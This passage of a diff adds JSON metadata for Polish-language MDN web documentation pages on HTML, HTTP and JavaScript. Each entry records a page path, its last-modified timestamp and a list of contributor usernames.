+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/ul": {
+ "modified": "2019-03-18T21:12:42.250Z",
+ "contributors": [
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/video": {
+ "modified": "2019-03-23T22:58:24.967Z",
+ "contributors": [
+ "wbamberg",
+ "Trebor"
+ ]
+ },
+ "Web/HTML/Elementy_blokowe": {
+ "modified": "2019-01-16T15:48:57.413Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Bedi",
+ "Ptak82",
+ "PablO"
+ ]
+ },
+ "Web/HTML/Elementy_liniowe": {
+ "modified": "2019-01-16T15:48:50.807Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Witia",
+ "PablO"
+ ]
+ },
+ "Web/HTML/Global_attributes": {
+ "modified": "2019-03-23T22:13:55.813Z",
+ "contributors": [
+ "HynekMartin751",
+ "sideshowbarker"
+ ]
+ },
+ "Web/HTML/Global_attributes/pisownia": {
+ "modified": "2020-10-15T22:28:58.291Z",
+ "contributors": [
+ "jacobsfly"
+ ]
+ },
+ "Web/HTML/Global_attributes/tabindex": {
+ "modified": "2019-03-23T22:14:07.727Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/HTML/Kontrola_sprawdzania_pisowni_w_formularzach_HTML": {
+ "modified": "2019-03-23T23:54:20.997Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Bedi",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/HTML/Zarządzanie_fokusem_w_HTML": {
+ "modified": "2019-01-16T15:45:12.939Z",
+ "contributors": [
+ "teoli",
+ "Flaneur"
+ ]
+ },
+ "Web/HTML/Znaczenie_poprawnego_komentowania": {
+ "modified": "2019-03-23T23:53:28.126Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Nerf",
+ "Dria"
+ ]
+ },
+ "Web/HTTP": {
+ "modified": "2019-11-25T15:44:56.508Z",
+ "contributors": [
+ "drm404",
+ "sideshowbarker"
+ ]
+ },
+ "Web/HTTP/Authentication": {
+ "modified": "2020-10-01T05:02:44.386Z",
+ "contributors": [
+ "dannyplaster21"
+ ]
+ },
+ "Web/HTTP/Ciasteczka": {
+ "modified": "2020-02-28T13:56:04.514Z",
+ "contributors": [
+ "pgs-hszalwinski"
+ ]
+ },
+ "Web/HTTP/HTTP_wiadomosci_ogólne": {
+ "modified": "2020-11-17T11:03:42.774Z",
+ "contributors": [
+ "flp.tomczak",
+ "drm404"
+ ]
+ },
+ "Web/HTTP/Headers": {
+ "modified": "2019-03-18T21:37:58.840Z",
+ "contributors": [
+ "Alpha"
+ ]
+ },
+ "Web/HTTP/Headers/Cache-Control": {
+ "modified": "2020-10-15T22:03:23.970Z",
+ "contributors": [
+ "myhau",
+ "stopsopa"
+ ]
+ },
+ "Web/HTTP/Headers/Data": {
+ "modified": "2020-10-15T22:11:47.444Z",
+ "contributors": [
+ "kazek228"
+ ]
+ },
+ "Web/HTTP/Headers/Referrer-Policy": {
+ "modified": "2020-10-15T22:25:31.082Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/JavaScript": {
+ "modified": "2020-03-12T19:36:18.888Z",
+ "contributors": [
+ "SphinxKnight",
+ "SuperMaksio",
+ "JWPB",
+ "mitelak",
+ "Errorino",
+ "mptak",
+ "asbud",
+ "Miras",
+ "teoli",
+ "Rokuzo",
+ "safjanowski",
+ "ggolebio",
+ "ethertank",
+ "kartofelek007",
+ "grzegorz",
+ "Mgjbot",
+ "Ptak82",
+ "Wilq32",
+ "Internauta1024A",
+ "Verruckt",
+ "gandalf",
+ "Marcoos",
+ "Ruby",
+ "Dria"
+ ]
+ },
+ "Web/JavaScript/Domkniecia": {
+ "modified": "2020-06-02T12:29:00.476Z",
+ "contributors": [
+ "PaulinaLL",
+ "iwonapiotrowska",
+ "pawelk92",
+ "dkarski",
+ "JWPB",
+ "kasiejro",
+ "mat-bi",
+ "Jakubem",
+ "Bx.",
+ "dodekx",
+ "lboratynski",
+ "ppuzio",
+ "kosanr1",
+ "ewape"
+ ]
+ },
+ "Web/JavaScript/EventLoop": {
+ "modified": "2020-03-12T19:42:17.470Z",
+ "contributors": [
+ "Qba91",
+ "przemdz",
+ "mieszczans",
+ "kpastuszka",
+ "cocafin"
+ ]
+ },
+ "Web/JavaScript/Guide": {
+ "modified": "2020-03-12T19:38:33.908Z",
+ "contributors": [
+ "malu",
+ "fscholz",
+ "teoli",
+ "splewako",
+ "gieerzetka",
+ "rakowaty"
+ ]
+ },
+ "Web/JavaScript/Guide/Control_flow_and_error_handling": {
+ "modified": "2020-03-12T19:43:07.742Z",
+ "contributors": [
+ "Konrad007",
+ "AndrzejSala",
+ "lukasz-jakub-adamczuk",
+ "Mateusz",
+ "maciejmarczak"
+ ]
+ },
+ "Web/JavaScript/Guide/Funkcje": {
+ "modified": "2020-03-12T19:42:14.765Z",
+ "contributors": [
+ "quart",
+ "andbroz",
+ "konradovsky",
+ "przemokon",
+ "pm093",
+ "thekyeZ",
+ "marekjedrzejewski"
+ ]
+ },
+ "Web/JavaScript/Guide/Introduction": {
+ "modified": "2020-03-12T19:41:24.970Z",
+ "contributors": [
+ "Alka",
+ "xolir",
+ "Mlodyemoka"
+ ]
+ },
+ "Web/JavaScript/Guide/Iterators_and_Generators": {
+ "modified": "2020-03-12T19:45:59.758Z",
+ "contributors": [
+ "ThinCan",
+ "CreateWWW",
+ "starsep",
+ "labs4apps"
+ ]
+ },
+ "Web/JavaScript/Guide/Loops_and_iteration": {
+ "modified": "2020-03-12T19:42:57.032Z",
+ "contributors": [
+ "Patryk-Holody",
+ "SphinxKnight",
+ "AndrzejSala",
+ "thekyeZ"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages": {
+ "modified": "2019-01-16T17:47:38.082Z",
+ "contributors": [
+ "teoli",
+ "Sheppy"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5": {
+ "modified": "2019-03-24T00:00:51.351Z",
+ "contributors": [
+ "fscholz",
+ "teoli",
+ "atlavis",
+ "Ptak82",
+ "Bedi",
+ "Marcoos",
+ "Diablownik",
+ "Mgjbot",
+ "Grzybu",
+ "Takenbot",
+ "gandalf"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Blok_instrukcji": {
+ "modified": "2019-01-16T16:17:02.444Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Definiowanie_funkcji": {
+ "modified": "2019-03-24T00:10:24.919Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "szymie",
+ "Ptak82",
+ "Mgjbot",
+ "Tmk"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Dodawanie_obiektom_nowej_funkcjonalności.": {
+ "modified": "2019-03-24T00:08:07.633Z",
+ "contributors": [
+ "teoli",
+ "bronek"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane": {
+ "modified": "2019-01-16T16:09:54.790Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval": {
+ "modified": "2019-01-16T16:11:30.514Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite": {
+ "modified": "2019-01-16T16:17:02.297Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN": {
+ "modified": "2019-01-16T16:17:02.471Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String": {
+ "modified": "2019-01-16T16:08:15.532Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape": {
+ "modified": "2019-01-16T16:02:25.853Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat": {
+ "modified": "2019-01-16T16:02:33.260Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_komentarzy": {
+ "modified": "2019-01-16T16:07:38.682Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_manipulacji_obiektem": {
+ "modified": "2019-03-23T23:58:58.242Z",
+ "contributors": [
+ "teoli",
+ "Sheppy",
+ "diabelb",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków": {
+ "modified": "2019-03-23T23:45:52.366Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_throw": {
+ "modified": "2019-03-23T23:47:38.807Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_try...catch": {
+ "modified": "2019-03-23T23:45:58.480Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli": {
+ "modified": "2019-01-16T16:07:51.369Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "gandalf"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_break": {
+ "modified": "2019-03-23T23:41:40.626Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_continue": {
+ "modified": "2019-03-23T23:41:38.008Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_do_...while": {
+ "modified": "2019-03-23T23:41:39.022Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "gandalf"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_for": {
+ "modified": "2019-03-23T23:41:39.333Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Anonymous",
+ "gandalf"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_label": {
+ "modified": "2019-03-23T23:41:38.410Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_while": {
+ "modified": "2019-03-23T23:41:40.447Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_warunkowe": {
+ "modified": "2019-01-16T15:30:59.621Z",
+ "contributors": [
+ "teoli",
+ "Internauta1024A",
+ "Kazio",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Literały": {
+ "modified": "2019-01-16T15:28:47.167Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Bedi",
+ "KrucaFuks",
+ "Takenbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku": {
+ "modified": "2019-03-23T23:53:44.039Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Sheppy",
+ "Toni555",
+ "Bedi",
+ "Killerowski",
+ "Diablownik",
+ "Ptak82",
+ "Internauta1024A",
+ "Marcoos",
+ "Markgo",
+ "Mgjbot",
+ "Takenbot",
+ "Ruby"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_i_własności": {
+ "modified": "2019-01-16T16:04:02.144Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Sheppy"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane": {
+ "modified": "2019-01-16T16:07:28.346Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array": {
+ "modified": "2019-03-23T23:59:36.858Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Killerowski",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean": {
+ "modified": "2019-03-23T23:44:45.069Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date": {
+ "modified": "2019-03-23T23:46:16.814Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math": {
+ "modified": "2019-03-23T23:44:43.728Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number": {
+ "modified": "2019-03-23T23:46:03.097Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp": {
+ "modified": "2019-03-23T23:45:49.618Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String": {
+ "modified": "2019-03-23T23:47:58.296Z",
+ "contributors": [
+ "teoli",
+ "Killerowski",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function": {
+ "modified": "2019-03-23T23:46:16.512Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory": {
+ "modified": "2019-01-16T15:45:03.435Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Re set",
+ "Internauta1024A",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operacje_na_łańcuchach": {
+ "modified": "2019-01-16T15:45:18.599Z",
+ "contributors": [
+ "teoli",
+ "Re set",
+ "Ptak82",
+ "Uryga",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_arytmetyczne": {
+ "modified": "2019-01-16T15:45:06.608Z",
+ "contributors": [
+ "teoli",
+ "Re set",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_logiczne": {
+ "modified": "2019-01-16T15:45:11.361Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Re set",
+ "Mgjbot",
+ "Anonymous"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_porównania": {
+ "modified": "2019-01-16T15:45:08.791Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Re set",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_przypisania": {
+ "modified": "2019-03-23T23:54:17.982Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Re set"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_specjalne": {
+ "modified": "2019-01-16T15:44:56.049Z",
+ "contributors": [
+ "teoli",
+ "Re set",
+ "Stefan.power",
+ "Ptak82",
+ "Internauta1024A",
+ "Mgjbot",
+ "Grzybu"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect": {
+ "modified": "2019-01-16T16:02:33.640Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności": {
+ "modified": "2019-01-16T16:02:28.093Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Wartości_lokalne_vs._dziedziczone": {
+ "modified": "2019-01-16T15:51:13.285Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem": {
+ "modified": "2019-03-23T23:46:18.276Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Tworzenie_hierarchii": {
+ "modified": "2019-03-23T23:46:16.062Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu": {
+ "modified": "2019-03-23T23:46:19.345Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dodawanie_własności": {
+ "modified": "2019-03-23T23:46:18.377Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dziedziczenie_własności": {
+ "modified": "2019-03-23T23:46:16.618Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście": {
+ "modified": "2019-01-16T15:31:49.852Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Przykłady_wyrażeń_regularnych": {
+ "modified": "2019-03-23T23:45:59.795Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_zamknięciami": {
+ "modified": "2019-03-24T00:00:51.657Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "atlavis"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Stałe": {
+ "modified": "2019-01-16T14:49:38.955Z",
+ "contributors": [
+ "teoli",
+ "Sheppy",
+ "falka",
+ "Ptak82",
+ "Re set",
+ "Mgjbot",
+ "KrucaFuks",
+ "Takenbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów": {
+ "modified": "2019-03-23T23:45:59.897Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_metod": {
+ "modified": "2019-03-23T23:46:15.620Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_własności_typu_obiektu": {
+ "modified": "2019-03-23T23:46:18.038Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Indeksowanie_własności_obiektu": {
+ "modified": "2019-03-23T23:46:17.556Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Takenbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Usuwanie_własności": {
+ "modified": "2019-03-23T23:46:19.791Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Anonymous"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Używanie_inicjacji_obiektu": {
+ "modified": "2019-03-24T00:04:36.846Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Sheppy",
+ "mi5tic",
+ "Mgjbot",
+ "Ptak82",
+ "Garbus"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_'this'_do_obiektu_referencji": {
+ "modified": "2019-03-23T23:46:17.678Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_konstruktorów_funkcji": {
+ "modified": "2019-03-23T23:46:18.156Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_wyrażenia_regularnego": {
+ "modified": "2019-03-23T23:50:53.064Z",
+ "contributors": [
+ "teoli",
+ "Re set",
+ "Ptak82",
+ "Uryga",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Unicode": {
+ "modified": "2019-01-16T15:45:06.657Z",
+ "contributors": [
+ "teoli",
+ "Re set",
+ "Mgjbot",
+ "Bedi",
+ "Internauta1024A",
+ "Ptak82",
+ "Leoniq"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wartości": {
+ "modified": "2019-01-16T15:28:38.496Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Re set",
+ "Ptak82",
+ "KrucaFuks",
+ "Takenbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wyrażenia": {
+ "modified": "2019-01-16T15:45:05.450Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Re set",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wywołanie_funkcji": {
+ "modified": "2019-03-23T23:59:05.678Z",
+ "contributors": [
+ "Mikad",
+ "teoli",
+ "Sheppy",
+ "diabelb",
+ "Ptak82",
+ "Bedi",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego": {
+ "modified": "2019-03-23T23:50:55.709Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Ptak82",
+ "Re set",
+ "Uryga",
+ "Diablownik",
+ "Takenbot",
+ "Keicam",
+ "Marcin Otorowski"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zastosowanie_obiektu_arguments": {
+ "modified": "2019-03-23T23:44:05.766Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Sheppy",
+ "Mgjbot",
+ "Takenbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zmienne": {
+ "modified": "2019-01-16T14:50:00.178Z",
+ "contributors": [
+ "teoli",
+ "Sheppy",
+ "falka",
+ "Mgjbot",
+ "Re set",
+ "Ptak82",
+ "Internauta1024A",
+ "Bratmn",
+ "KrucaFuks",
+ "Takenbot"
+ ]
+ },
+ "Web/JavaScript/Guide/Składnia_i_typy": {
+ "modified": "2020-03-12T19:42:17.279Z",
+ "contributors": [
+ "danrakh",
+ "Konrad007",
+ "cybor0",
+ "lukasz-jakub-adamczuk",
+ "Miras",
+ "AndrzejSala",
+ "xolir",
+ "dolphugly",
+ "KamilDuda01",
+ "marekjedrzejewski"
+ ]
+ },
+ "Web/JavaScript/Guide/o_tym_przewodniku": {
+ "modified": "2019-05-16T15:03:06.854Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "gieerzetka"
+ ]
+ },
+ "Web/JavaScript/Na_początek": {
+ "modified": "2019-03-23T23:54:32.221Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/O_JavaScript": {
+ "modified": "2020-03-12T19:46:50.697Z",
+ "contributors": [
+ "pa-uli-na"
+ ]
+ },
+ "Web/JavaScript/Ponowne_wprowadzenie_do_JavaScript": {
+ "modified": "2020-03-12T19:47:50.546Z",
+ "contributors": [
+ "kanapka94",
+ "edgyFAT",
+ "xbravadox",
+ "r0v",
+ "joanna-by",
+ "Poftorek",
+ "JKarkosza"
+ ]
+ },
+ "Web/JavaScript/Reference/Classes": {
+ "modified": "2020-10-29T06:45:58.471Z",
+ "contributors": [
+ "michalmarchewczyk",
+ "Ojdana11",
+ "freszyk",
+ "MichalKarbownik",
+ "artmiron",
+ "labs4apps",
+ "gavinhungry"
+ ]
+ },
+ "Web/JavaScript/Reference/Classes/Konstruktor": {
+ "modified": "2020-10-15T21:53:33.839Z",
+ "contributors": [
+ "michalmarchewczyk",
+ "Anonymous",
+ "km4",
+ "devMike"
+ ]
+ },
